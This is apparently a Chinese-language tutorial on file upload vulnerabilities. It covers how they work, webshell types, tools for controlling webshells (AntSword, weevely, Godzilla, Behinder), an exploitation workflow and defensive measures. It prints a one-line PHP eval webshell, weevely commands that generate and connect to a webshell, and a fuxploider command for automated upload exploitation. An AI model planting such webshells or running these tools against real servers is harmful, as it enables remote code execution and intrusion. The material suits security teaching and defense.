文件上传漏洞(一)原理及利用
文章目录
1. php代码
<?php eval($_POST['keyword'])?>
允许执行任意代码
system(command, return_var);
command
参数是要执行的系统命令。return_var
参数是一个可选参数,用于存储命令执行的返回状态
system()
函数执行系统命令并将结果输出到标准输出。
2.文件上传漏洞的工作原理
- 上传文件功能:Web应用程序通常提供了上传文件的功能,例如用户上传头像、文档等。这个功能允许用户将文件上传到服务器上。
- 未正确验证和过滤上传的文件:文件上传漏洞通常是由于服务器未正确验证和过滤上传的文件导致的。攻击者可以利用这一点上传包含恶意代码的文件,如Web shell、恶意脚本等。
- 上传恶意文件:攻击者上传包含恶意代码的文件到服务器。这些恶意文件可以用于执行各种攻击,如远程代码执行、文件包含、SQL注入等。
- 利用上传的恶意文件:一旦恶意文件上传成功,攻击者可以通过访问恶意文件的URL来执行恶意操作,如执行系统命令、窃取敏感信息、篡改网站内容等。
3. Webshell
一句话木马:代码短,只有一行代码。场景多
小马:体积少,功能少,只有文件上传功能
大马:体积大,功能全。
Webshell是一种恶意的脚本文件,通常以.php、.asp、.aspx等网页脚本文件的形式存在,可以被上传到Web服务器上。攻击者可以通过Webshell与受感染的服务器建立远程连接,从而执行各种恶意操作,例如:
- 执行系统命令:通过Webshell可以执行系统命令,比如查看文件内容、创建文件、删除文件等。
- 上传、下载文件:攻击者可以通过Webshell上传恶意文件到服务器,或者从服务器下载敏感文件。
- 执行代码:攻击者可以在Webshell中嵌入恶意代码,执行远程代码执行攻击(Remote Code Execution)。
- 维持访问权限:攻击者可以使用Webshell来保持对服务器的访问权限,以便进行长期的监控和攻击。
https://github.com/tennc/webshell
4. 网站控制工具
4.1 中国蚁剑
url地址:上传的websell地址
密码:参数
4.2 weevely
kali自带
weevely <URL> <password> [cmd]
weevely generate <password> <path> 生成一句话木马 <password>:参数 <path>文件名
weevely generate keyword weevely.php
sz file weevely.php
weevely http://192.168.142.66/weevely.php keyword
4.3 哥斯拉godzilla
java -jar Godzilla.jar
生成webshell
连接
4.4 冰蝎 behinde
webshell不用生成,shell在server目录
5. 文件上传漏洞危害
挂黑链
挂马(广告、刷点击)或者挖矿
文件数据泄露
6. 文件上传漏洞发现与利用
利用流程
1、找到上传的功能
2、尝试绕过校验,上传文件
3、获得文件位置
4、蚁剑连接,管理文件
Redis KV 持久化+未授权访问
MYSQL 读写 select into file
CMS 小马
almandin/fuxploider
Fuxploider 是一种开源渗透测试工具,可自动检测和利用文件上传表单缺陷的过程。该工具能够检测允许上传的文件类型,并能够检测哪种技术最适合在所需的 Web 服务器上上传 Web Shell 或任何恶意文件。
python3 fuxploider.py --url https://awesomeFileUploadService.com --not-regex "wrong file type"
7. 文件上传防御
限制文件类型
前端后端、
白名单黑名单
MIME类型
扩展名
文件头
二次渲染
大小写处理
特殊符号删除
文件重命名、隐藏路径 防止源码泄露代码审计
限制文件执行权限